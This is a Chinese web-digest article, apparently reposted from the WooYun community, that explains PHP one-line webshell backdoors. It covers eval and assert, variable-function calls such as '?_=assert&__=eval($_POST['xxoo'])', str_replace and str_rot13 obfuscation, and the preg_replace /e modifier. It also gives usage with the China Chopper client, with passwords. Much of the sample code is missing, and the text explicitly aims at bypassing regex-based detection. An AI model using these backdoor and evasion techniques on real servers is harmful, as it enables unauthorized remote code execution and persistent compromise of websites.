首页 » 网络文摘 » 浏览内容

那些年我们追逐的php一句话:分析原理

2800 0 发表评论

今天小残在这里谈谈php一句话后门分析

wordpress安全

一.eval
eval用法:
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

二.assert
Assert用法:
assert这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;
这跟eval()类似。不过eval($code_str)只是执行符合php编码规范的,assert的用法却更详细一点 。
assert_option()可以用来对assert()进行一些约束和控制

默认值:

可以通过以上方法修改assert后门,达到绕过正则:

三.变形一句话:

客户端用菜刀,密码cmd,url为test.php?xxoo=assert

这个是直接发post数据包就OK。

利用方法:http://localhost/password.php?password=asstrt
原理就是get传递参数assert然后形成@asserT@($_($_POST[xxoo])

提交post内容形成assert,eval。

四.通过str_replace替换

$a = str_replace(x,””,”axsxxsxexrxxt”)

最后要形成的是$a = assert

五.

谈谈这个后门吧,这个是用e修饰符,只需要e所在的位置跟最后的”error”正则匹配正确就会$_POST[‘h’]的内容。
那么我们只需要用菜刀<O>h=@assert($_POST[c]);</O>就可以,让h参数执行。

六.

菜刀里写:http://localhost/2.php?_=assert&__=eval($_POST[‘xxoo’])
密码:xxoo
原理分析你只需要让$_拼接打印即可。

七.

‘@’.str_rot13(‘riny’)相当于@eval,然后你懂的。
其实大都数原理都是如此,加了变形,解析后依然是原装语句eval,assert。

来源:乌云社区

分享到:
标签:

评论 共 0 条 (RSS 2.0) 发表 评论

  1. 暂无评论,快来抢沙发!

发表评论

  •   没有头像?

公告">更多...

♥申请友情链接可以直接点击留言申请
♥投稿请直接点击网站右上角投稿人口
♥如果您想赞助本站可以点击联系我们
♥如果喜欢本站可以直接点击
回到页首